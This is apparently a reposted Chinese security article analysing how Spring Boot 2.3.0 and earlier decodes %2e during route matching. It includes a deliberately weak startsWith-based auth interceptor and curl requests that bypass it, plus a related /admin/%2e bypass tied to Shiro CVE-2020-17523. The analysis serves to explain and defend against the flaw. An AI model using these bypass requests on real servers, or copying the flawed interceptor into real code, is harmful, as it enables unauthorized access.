分享一個SpringBoot中關(guān)于%2e的小Trick。先說結(jié)論，當SpringBoot版本在小于等于2.3.0.RELEASE的情況下， alwaysUseFullPath 為默認值false，這會使得其獲取ServletPath，所以在路由匹配時會對 %2e 進行解碼，這可能導致身份驗證繞過。而反過來由于高版本將 alwaysUseFullPath 自動配置成了true從而開啟全路徑，又可能導致一些安全問題。

這里我們來通過一個例子看一下這個Trick，并分析它的原因。

首先我們先來設(shè)置SprinBoot版本

<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.3.0.RELEASE</version><relativePath/> <!-- lookup parent from repository --> </parent>

編寫一個Controller

@RestControllerpublic class httpbinController { @RequestMapping(value = 'no-auth', method = RequestMethod.GET) public String noAuth() {return 'no-auth'; } @RequestMapping(value = 'auth', method = RequestMethod.GET) public String auth() {return 'auth'; }}

接下來配置對應(yīng)的Interceptor來實現(xiàn)對除no-auth以外的路由的攔截

@Configurationpublic class WebMvcConfig implements WebMvcConfigurer { @Override public void addInterceptors(InterceptorRegistry registry) {registry.addInterceptor(handlerInterceptor())//配置攔截規(guī)則.addPathPatterns('/**'); } @Bean public HandlerInterceptor handlerInterceptor() {return new PermissionInterceptor(); }}

@Componentpublic class PermissionInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {String uri = request.getRequestURI();uri = uri.replaceAll('//', '/');System.out.println('RequestURI: '+uri);if (uri.contains('..') || uri.contains('./') ) { return false;}if (uri.startsWith('/no-auth')){ return true;}return false; }}

由上面代碼可以知道它使用了getRequestURI來進行路由判斷。通常你可以看到如 startsWith ， contains 這樣的判斷方式，顯然這是不安全的，我們繞過方式由很多比如 .. 或 ..; 等，但其實在用 startsWith 來判斷白名單時構(gòu)造都離不開跨目錄的符號 ..那么像上述代碼這種情況又如何來繞過呢?答案就是 %2e發(fā)起請求如下

$ curl -v 'http://127.0.0.1:8080/no-auth/%2e%2e/auth'* Trying 127.0.0.1...* TCP_NODELAY set* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)> GET /no-auth/%2e%2e/auth HTTP/1.1> Host: 127.0.0.1:8080> User-Agent: curl/7.64.1> Accept: */*>< HTTP/1.1 200< Content-Type: text/plain;charset=UTF-8< Content-Length: 4< Date: Wed, 14 Apr 2021 13:22:03 GMT<* Connection #0 to host 127.0.0.1 left intactauth* Closing connection 0

RequestURI輸出為

RequestURI: /no-auth/%2e%2e/auth

可以看到我們通過 %2e%2e 繞過了PermissionInterceptor的判斷，同時匹配路由成功，很顯然應(yīng)用在進行路由匹配時對 %2e 進行了解碼。

我們再來切換SpringBoot版本再來看下

<version>2.3.1.RELEASE</version>

發(fā)起請求，當然也是過了攔截，但沒有匹配路由成功，返回404

$ curl -v 'http://127.0.0.1:8080/no-auth/%2e%2e/auth'* Trying 127.0.0.1...* TCP_NODELAY set* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)> GET /no-auth/%2e%2e/auth HTTP/1.1> Host: 127.0.0.1:8080> User-Agent: curl/7.64.1> Accept: */*>< HTTP/1.1 404< Vary: Origin< Vary: Access-Control-Request-Method< Vary: Access-Control-Request-Headers< Content-Length: 0< Date: Wed, 14 Apr 2021 13:17:26 GMT<* Connection #0 to host 127.0.0.1 left intact* Closing connection 0

RequestURI輸出為

RequestURI: /no-auth/%2e%2e/auth

可以得出結(jié)論當SpringBoot版本在小于等于2.3.0.RELEASE的情況下，其在路由匹配時會對 %2e 進行解碼，這可能導致身份驗證繞過。

那么又為什么會這樣？

在SpringMVC進行路由匹配時會從DispatcherServlet開始，然后到HandlerMapping中去獲取Handler，在這個時候就會進行對應(yīng)path的匹配。

我們來跟進代碼看這個關(guān)鍵的地方 org.springframework.web.util.UrlPathHelper#getLookupPathForRequest(javax.servlet.http.HttpServletRequest)這里就出現(xiàn)有趣的現(xiàn)象，在2.3.0.RELEASE中 alwaysUseFullPath 為默認值false

而在2.3.1.RELEASE中 alwaysUseFullPath 被設(shè)置成了true

這也就導致了不同的結(jié)果，一個走向了 getPathWithinApplication 而另一個走向了 getPathWithinServletMapping在 getPathWithinServletMapping 中會獲取ServletPath，ServletPath會對其解碼，這個很多講Tomcat url差異的文章都提過了，就不多說了。所以解釋了最終出現(xiàn)繞過的情況。

那么Trick的具體描述就成了當SpringBoot版本在小于等于2.3.0.RELEASE的情況下， alwaysUseFullPath 為默認值false，這會使得其獲取ServletPath，所以在路由匹配時會對 %2e 進行解碼，這可能導致身份驗證繞過。

而這和Shiro的CVE-2020-17523中的一個姿勢形成了呼應(yīng)，只要高版本SpringBoot就可以了不用非要手動設(shè)置 alwaysUseFullPath

$ curl -v http://127.0.0.1:8080/admin/%2e* Trying 127.0.0.1...* TCP_NODELAY set* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)> GET /admin/%2e HTTP/1.1> Host: 127.0.0.1:8080> User-Agent: curl/7.64.1> Accept: */*>< HTTP/1.1 200< Content-Type: text/plain;charset=UTF-8< Content-Length: 10< Date: Wed, 14 Apr 2021 13:48:33 GMT<* Connection #0 to host 127.0.0.1 left intactadmin page* Closing connection 0

感興趣的可以再看看說不定有額外收獲

話說回來，可是為什么在高版本中 alwaysUseFullPath 會被設(shè)置成true呢？

這就要追溯到 org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration.WebMvcAutoConfigurationAdapter#configurePathMatch在spring-boot-autoconfigure-2.3.0.RELEASE中

在spring-boot-autoconfigure-2.3.1.RELEASE中

為什么要這樣設(shè)置？我們查看git log這里給出了答案。

https://github.com/spring-projects/spring-boot/commit/a12a3054c9c5dded034ee72faac20e578b5503af

當Servlet映射為”/”時，官方認為這樣配置是更有效率的，因為需要請求路徑的處理較少。

配置servlet.path可以通過如下，但通常不會這樣配置除非有特殊需求。

spring.mvc.servlet.path=/test/

所以最后，當SpringBoot版本在小于等于2.3.0.RELEASE的情況下， alwaysUseFullPath 為默認值false，這會使得其獲取ServletPath，所以在路由匹配時會對 %2e 進行解碼，這可能導致身份驗證繞過。而高版本為了提高效率對 alwaysUseFullPath 自動配置成了true從而開啟全路徑，這又造就了Shiro的CVE-2020-17523中的一個利用姿勢。

到此這篇關(guān)于詳解SpringBoot中關(guān)于%2e的Trick的文章就介紹到這了,更多相關(guān)SpringBoot Trick內(nèi)容請搜索好吧啦網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持好吧啦網(wǎng)！